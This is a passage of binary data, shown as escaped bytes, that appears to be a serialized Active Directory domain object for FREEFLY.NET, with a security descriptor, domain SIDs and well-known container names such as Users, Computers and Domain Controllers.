01\x00\x00\x00\xf8\x00\x02\x00=\x00\t\x00\x01\x00\x00\x00\x00\x01\x02\x00I\x00\t\x00\x01\x00\x00\x00\x08\x01\x02\x00J\x00\t\x00\x01\x00\x00\x00\x10\x01\x02\x00N\x00\t\x00\x01\x00\x00\x00\x18\x01\x02\x00O\x00\t\x00\x01\x00\x00\x00 \x01\x02\x00Q\x00\t\x00\x01\x00\x00\x00(\x01\x02\x00X\x00\t\x00\x01\x00\x00\x000\x01\x02\x00]\x00\t\x00\x01\x00\x00\x008\x01\x02\x00_\x00\t\x00\x01\x00\x00\x00@\x01\x02\x00\x92\x00\t\x00\x01\x00\x00\x00H\x01\x02\x00\x97\x00\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x00\t\x00\x01\x00\x00\x00P\x01\x02\x00\x9e\x00\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\x00\t\x00\x01\x00\x00\x00X\x01\x02\x00e\x01\t\x00\x01\x00\x00\x00`\x01\x02\x00p\x01\t\x00\x01\x00\x00\x00h\x01\x02\x00q\x01\t\x00\x01\x00\x00\x00p\x01\x02\x00w\x01\t\x00\x01\x00\x00\x00x\x01\x02\x00j\x02\t\x00\x0b\x00\x00\x00\x80\x01\x02\x00\x0e\x03\t\x00\x01\x00\x00\x00\xb0\x01\x02\x00d\x03\t\x00\x01\x00\x00\x00\xb8\x01\x02\x00{\x03\t\x00\x01\x00\x00\x00\xc0\x01\x02\x00O\x05\t\x00\x01\x00\x00\x00\xc8\x01\x02\x00\x83\x05\t\x00\x01\x00\x00\x00\xd0\x01\x02\x00\xb3\x05\t\x00\x01\x00\x00\x00\xd8\x01\x02\x00\xfc\x06\t\x00\x01\x00\x00\x00\xe0\x01\x02\x00\xfd\x06\t\x00\x01\x00\x00\x00\xe8\x01\x02\x00\xfe\x06\t\x00\x01\x00\x00\x00\xf0\x01\x02\x00\x03\x00\x00\x00\x04\x00\x00\x00\xb4\x00\x02\x00\x04\x00\x00\x00\xb8\x00\x02\x00\x04\x00\x00\x00\xbc\x00\x02\x00\x04\x00\x00\x00C\x00\n\x00\x04\x00\x00\x00B\x00\n\x00\x04\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x04\x00\x00\x00\xc4\x00\x02\x00\x04\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\xcc\x00\x02\x00\x08\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\xd4\x00\x02\x00(\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x01\x00\x00\x00\xf4\x08\x00\x00\xdc\x00\x02\x00\xf4\x08\x00\x00\x01\x00\x14\x80\xd4\x08\x00\x00\xe4\x08\x00\x00\x14\x00\x00\x00\xdc\x00\x00\x00\x04\x00\xc8\x00\x05\x00\x00\x00\x02@\x14\x00 \x00\x0c\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x02@\x18\x00\x00\x01\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x02@$\x00\x00\x01\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x01\x02\x00\x00\x07B8\x00 \x00\x00\x00\x03\x00\x00\x00\xbe;\x0e\xf3\xf0\x9f\xd1\x11\xb6\x03\x00\x00\xf8\x03g\xc1\xa5z\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x07B8\x00 \x00\x00\x00\x03\x00\x00\x00\xbf;\x0e\xf3\xf0\x9f\xd1\x11\xb6\x03\x00\x00\xf8\x03g\xc1\xa5z\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x04\x00\xf8\x07.\x00\x00\x00\x05\x008\x00\x00\x01\x00\x00\x01\x00\x00\x00\xaa\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\xf2\x01\x00\x00\x00\x00\x14\x00\x10\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00\xaa\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00\xab\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00\xac\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xaa\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xab\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xac\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x00\x00\x14\x00\x94\x00\x02\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x00\x00$\x00\xbd\x01\x0e\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x00\x02\x00\x00\x00\x02\x18\x00\xbd\x01\x0f\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00\x00\x02$\x00\xff\x01\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x07\x02\x00\x00\x00\x02\x18\x00\x04\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\xf8\x88p\x03\xe1\n\xd2\x11\xb4"\x00\xa0\xc9h\xf99\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00B/\xbaY\xa2y\xd0\x11\x90 \x00\xc0O\xc2\xd3\xcf\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00@\xc2\n\xbc\xa9y\xd0\x11\x90 \x00\xc0O\xc2\xd4\xcf\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\x00B\x16L\xc0 \xd0\x11\xa7h\x00\xaa\x00n\x05)\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\x10  _\xa5y\xd0\x11\x90 \x00\xc0O\xc2\xd4\xcf\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\x00,\x00\x10\x00\x00\x00\x01\x00\x00\x00`s@\xc7\xbf \xd0\x11\xa7h\x00\xaa\x00n\x05)\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n,\x00\x94\x00\x02\x00\x02\x00\x00\x00\x9cz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x00\x00\x18\x00\x10\x00\x02\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n,\x00\x94\x00\x02\x00\x02\x00\x00\x00\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x00\x00\x14\x00\x94\x00\x02\x00\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\xf8\x88p\x03\xe1\n\xd2\x11\xb4"\x00\xa0\xc9h\xf99\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00B/\xbaY\xa2y\xd0\x11\x90 \x00\xc0O\xc2\xd3\xcf\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00@\xc2\n\xbc\xa9y\xd0\x11\x90 \x00\xc0O\xc2\xd4\xcf\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\x00B\x16L\xc0 \xd0\x11\xa7h\x00\xaa\x00n\x05)\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\x10  _\xa5y\xd0\x11\x90 \x00\xc0O\xc2\xd4\xcf\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n,\x00\x94\x00\x02\x00\x02\x00\x00\x00\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\x00,\x00\x10\x00\x00\x00\x01\x00\x00\x00\xd0\x9f\x11\xb8\xf6\x04bG\xabzI\x86\xc7k?\x9a\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\x00(\x00\x10\x00\x00\x00\x01\x00\x00\x00\xd0\x9f\x11\xb8\xf6\x04bG\xabzI\x86\xc7k?\x9a\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x05\n8\x00\x10\x00\x00\x00\x03\x00\x00\x00m\x9e\xc6\xb7\xc7,\xd2\x11\x85N\x00\xa0\xc9\x83\xf6\x08\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\n8\x00\x10\x00\x00\x00\x03\x00\x00\x00m\x9e\xc6\xb7\xc7,\xd2\x11\x85N\x00\xa0\xc9\x83\xf6\x08\x9cz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\n8\x00\x10\x00\x00\x00\x03\x00\x00\x00m\x9e\xc6\xb7\xc7,\xd2\x11\x85N\x00\xa0\xc9\x83\xf6\x08\x86z\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x008\x00\x00\x01\x00\x00\x01\x00\x00\x00\xad\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x04\x02\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00v[\xe9\x89MDbL\x99\x1a\x0f\xac\xbe\xdad\x0c\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xad\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00v[\xe9\x89MDbL\x99\x1a\x0f\xac\xbe\xdad\x0c\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xc9m\xa3\xe2\x17\xae\xc3G\xb5\x8b\xbe4\xc5[\xa63\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00-\x02\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00\x9c6\x0f(\xc7g\x8eC\xae\x98\x1dF\xf3\xc6\xf5A\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00}\xdc\xc2\xcc\xad\xa6zJ\x88F\xc0N<\xc55\x01\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00^L\xc7\x05\xebM\xb4C\xbd\x9f\x86fL*\x7f\xd5\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00\xae\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xae\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x05\n(\x000\x01\x00\x00\x01\x00\x00\x00\xdeG\xe6\x91o\xd9pK\x95W\xd6?\xf4\xf3\xcc\xd8\x01\x01\x00\x00\x00\x00\x00\x05\n\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x01\x00\x00\x00\x0e\x00\x00\x00\xe4\x00\x02\x00\x0e\x00\x00\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\xec\x00\x02\x00\x08\x00\x00\x00\xe4\xb6\x96\\G\xd1\xd0\x01\x01\x00\x00\x00\x08\x00\x00\x00\xf4\x00\x02\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x01\x00\x00\x00\x08\x00\x00\x00\xfc\x00\x02\x00\x08\x00\x00\x00\x00\xcc\x1d\xcf\xfb\xff\xff\xff\x01\x00\x00\x00\x08\x00\x00\x00\x04\x01\x02\x00\x08\x00\x00\x00\x00\xcc\x1d\xcf\xfb\xff\xff\xff\x01\x00\x00\x00\x04\x00\x00\x00\x0c\x01\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x14\x01\x02\x00\x08\x00\x00\x00\x00\x80\xa6\n\xff\xde\xff\xff\x01\x00\x00\x00\x08\x00\x00\x00\x1c\x01\x02\x00\x08\x00\x00\x00\x00@\x96\xd56\xff\xff\xff\x01\x00\x00\x00\x04\x00\x00\x00$\x01\x02\x00\x04\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00,\x01\x02\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x004\x01\x02\x00\x04\x00\x00\x00\xe8\x03\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00<\x01\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00D\x01\x02\x00\x04\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00\x18\x00\x00\x00L\x01\x02\x00\x18\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x01\x00\x00\x00\x04\x00\x00\x00T\x01\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\\\x01\x02\x00\x02\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00d\x01\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x90\x00\x00\x00l\x01\x02\x00\x90\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\x15C\x8a\xe3y\xe7FO\x96\xb1\xbb\x89\xe8(\xc2\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+\x00\x00\x00C\x00N\x00=\x00R\x00I\x00D\x00 \x00M\x00a\x00n\x00a\x00g\x00e\x00r\x00$\x00,\x00C\x00N\x00=\x00S\x00y\x00s\x00t\x00e\x00m\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x01\x00\x00\x00\x1a\x01\x00\x00t\x01\x02\x00\x1a\x01\x00\x00\x1a\x01\x00\x00\x00\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00|\x01\x02\x00\x04\x00\x00\x00\x00\x00\x00\x8c\x0b\x00\x00\x00\x84\x00\x00\x00\x84\x01\x02\x00\x8c\x00\x00\x00\x88\x01\x02\x00\x9c\x00\x00\x00\x8c\x01\x02\x00\x84\x00\x00\x00\x90\x01\x02\x00\x90\x00\x00\x00\x94\x01\x02\x00\x94\x00\x00\x00\x98\x01\x02\x00\x98\x00\x00\x00\x9c\x01\x02\x00\xac\x00\x00\x00\xa0\x01\x02\x00\x90\x00\x00\x00\xa4\x01\x02\x00\xac\x00\x00\x00\xa8\x01\x02\x00\x90\x00\x00\x00\xac\x01\x02\x00\x84\x00\x00\x00n\x00\x00\x00\x00\x00\x00\x00i=*\xed\x02\x83\xe1K\x92\x8aO\x0c<}D0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00C\x00N\x00=\x00U\x00s\x00e\x00r\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00\xa9\xd1\xca\x15v\x88\x11\xd1\xad\xed\x00\xc0O\xd8\xd5\xcd\x8c\x00\x00\x00v\x00\x00\x00\x00\x00\x00\x00>\x9fS\x1c\xff\x18\xd9K\xad\xe2\xb9\xf9\xbcwJ\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00C\x00N\x00=\x00C\x00o\x00m\x00p\x00u\x00t\x00e\x00r\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00\xaa1(%v\x88\x11\xd1\xad\xed\x00\xc0O\xd8\xd5\xcd\x9c\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x95\xdf\xc9\xb8\x8f\x95\x17L\x9f\xa1\r\x95\xaf\xd5\xc1\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\'\x00\x00\x00O\x00U\x00=\x00D\x00o\x00m\x00a\x00i\x00n\x00 \x00C\x00o\x00n\x00t\x00r\x00o\x00l\x00l\x00e\x00r\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00\xa3a\xb2\xff\xff\xd2\x11\xd1\xaaK\x00\xc0O\xd7\xd8:\x84\x00\x00\x00p\x00\x00\x00\x00\x00\x00\x00\xc7N\xe4\xc2\xd96EG\x81|[\xf5\xbcx\x0e\xef\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00C\x00N\x00=\x00S\x00y\x00s\x00t\x00e\x00m\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00\xab\x1d0\xf3v\x88\x11\xd1\xad\xed\x00\xc0O\xd8\xd5\xcd\x90\x00\x00\x00|\x00\x00\x00\x00\x00\x00\x00\xfb3]!\xb3C\x19H\x84(\xf5rD\x80)\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00C\x00N\x00=\x00L\x00o\x00s\x00t\x00A\x00n\x00d\x00F\x00o\x00u\x00n\x00d\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00\xab\x81S\xb7v\x88\x11\xd1\xad\xed\x00\xc0O\xd8\xd5\xcd\x94\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\xa9\x11n\xec\xab\xd4YO\xa9?\x14\xdb@(KE\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#\x00\x00\x00C\x00N\x00=\x00I\x00n\x00f\x00r\x00a\x00s\x00t\x00r\x00u\x00c\x00t\x00u\x00r\x00e\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00/\xba\xc1\x87\n\xde\x11\xd2\x97\xc4\x00\xc0O\xd8\xd5\xcd\x98\x00\x00\x00\x82\x00\x00\x00\x00\x00\x00\x00y]\xf0\x0b\xf6\xd0\xcbO\xa6&*\xeb\xf5\xb3L\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x00\x00C\x00N\x00=\x00D\x00e\x00l\x00e\x00t\x00e\x00d\x00 \x00O\x00b\x00j\x00e\x00c\x00t\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00\x18\xe2\xea\x80hO\x11\xd2\xb9\xaa\x00\xc0Oy\xf8\x05\xac\x00\x00\x00\x96\x00\x00\x00\x00\x00\x00\x00\x91\xf3\'v\x92\xeeWF\xa7=\x00\x06\'\xcf\xd9D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00C\x00N\x00=\x00F\x00o\x00r\x00e\x00i\x00g\x00n\x00S\x00e\x00c\x00u\x00r\x00i\x00t\x00y\x00P\x00r\x00i\x00n\x00c\x00i\x00p\x00a\x00l\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00"\xb7\x0cg\xd5nN\xfb\x91\xe90\x0f\xca=\xc1\xaa\x90\x00\x00\x00|\x00\x00\x00\x00\x00\x00\x00!\xbd\xd0\xe0=\x8d\xcfF\xb9\x95[_\x11+\xaf\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00C\x00N\x00=\x00P\x00r\x00o\x00g\x00r\x00a\x00m\x00 \x00D\x00a\x00t\x00a\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00\tF\x0c\x08\xae\x1eJN\xa0\xf6J\xee}\xaa\x1eZ\xac\x00\x00\x00\x96\x00\x00\x00\x00\x00\x00\x00B\x99\x1cL\x1e\xddFD\x94\xe5\xe3\x95"K\x87{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00C\x00N\x00=\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00,\x00C\x00N\x00=\x00P\x00r\x00o\x00g\x00r\x00a\x00m\x00 \x00D\x00a\x00t\x00a\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00\xf4\xbe\x92\xa4\xc7wH^\x87\x8e\x94!\xd50\x87\xdb\x90\x00\x00\x00z\x00\x00\x00\x00\x00\x00\x00\x92*v]O\xa8\xdbC\x92\x07\x84\x80\xb2D\x1bM\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00Q\x00u\x00o\x00t\x00a\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00b\'\xf0\xaf\x1f\xc2A\r\x8e;\xb1\x06\x15\xbb[\x0f\x01\x00\x00\x00\xae\x00\x00\x00\xb4\x01\x02\x00\xae\x00\x00\x00\xae\x00\x00\x00\x00\x00\x00\x00\xc9\xd9\xa8\x16!\xa7\xddM\x8b\x1f\xdew\xe0\xe3\xb4\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x00\x00\x00C\x00N\x00=\x00D\x00o\x00m\x00a\x00i\x00n\x00-\x00D\x00N\x00S\x00,\x00C\x00N\x00=\x00S\x00c\x00h\x00e\x00m\x00a\x00,\x00C\x00N\x00=\x